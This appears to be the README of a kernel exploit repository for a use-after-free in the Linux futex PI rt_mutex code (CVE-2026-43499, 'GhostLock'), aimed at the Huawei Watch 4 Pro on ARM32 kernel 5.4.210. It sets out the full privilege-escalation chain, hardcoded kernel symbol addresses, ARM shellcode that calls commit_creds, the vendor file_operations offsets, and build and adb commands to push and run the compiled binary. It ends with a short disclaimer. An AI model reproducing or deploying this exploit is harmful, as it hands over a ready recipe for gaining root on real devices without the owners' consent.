
CVE-2026-43499 (GhostLock) — Linux kernel futex PI rt_mutex UAF ARM32 privilege escalation research targeting Huawei Watch 4 Pro (kernel 5.4.210)
Linux kernel futex PI rt_mutex Use-After-Free vulnerability research and exploit development targeting Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210.
remove_waiter() in kernel/locking/rt_mutex.c incorrectly uses current
instead of waiter->task during proxy-lock rollback, failing to clear
pi_blocked_on on the waiter task. This leaves a dangling pointer from
task_struct to a stack-allocated rt_mutex_waiter after the waiter's kernel
stack frame is freed — a classic stack Use-After-Free.
futex(FUTEX_CMP_REQUEUE_PI)
across three threads; waiter's pi_blocked_on points to freed stack.prctl(PR_SET_NAME) (option 15, unprivileged)
to copy 15 bytes of controlled data onto the kernel stack, overwriting the
fake waiter's task/lock/prio fields.sched_setattr() triggers PI chain walk; the fake
waiter is enqueued into a forged rt_mutex overlapping a kernel
file_operations struct. Red-black tree insertion writes the waiter's
kernel stack address into fops->unlocked_ioctl.ioctl(),
which dispatches through the overwritten unlocked_ioctl pointer into the
shellcode on the executable kernel stack.commit_creds(waiter) where the
waiter's first fields (set by rb_insert_color) form a fake struct cred
with uid/gid = 0.fops->unlocked_ioctl with waiter stack address)kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014cac8 (fast path, bx lr clean return)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
.
├── README.md # This file
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ └── nebula_poc.c # Nebula team reference POC
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # 670+ Capstone-based reverse engineering
│ ├── *.py # scripts and disassembly outputs used
│ └── *.txt # during the research process
└── references/
├── ghostlock/ # Earlier exploit iterations (PoC through
│ ├── src/ # tracepoint/cred/oneplus variants)
│ ├── bin/ # Compiled earlier versions
│ ├── old/ # Initial crash PoCs
│ ├── README.md
│ └── RESEARCH_NOTES.md
└── ref_tc3650/ # TC3650 ARM32 reference exploit materials
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
12-byte position-independent ARM Thumb shellcode stamped at waiter+0x18:
sub r0, pc, #0x20 @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014cac8 @ commit_creds address
commit_creds() fast path writes current->cred = r0 and returns via bx lr
back into do_vfs_ioctl, which returns normally to userspace.
This vendor kernel's struct file_operations has an extra 4-byte field at
offset +0x24 (between poll and unlocked_ioctl), shifting all subsequent
members by 4 bytes relative to standard Linux 5.4:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
This was verified by disassembling ashmem and null fops handlers.
This repository is for security research and education only. Do not use these techniques on devices you do not own or lack authorization to test.
| Property | Value |
|---|
| Device | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| Kernel | 5.4.210 (32-bit ARM) |
| KASLR | disabled |
| PAN/SMAP | not present |
| PXN | absent on 0xc1b00000+ (stack/BSS executable) |
| CFI/PAC | not present |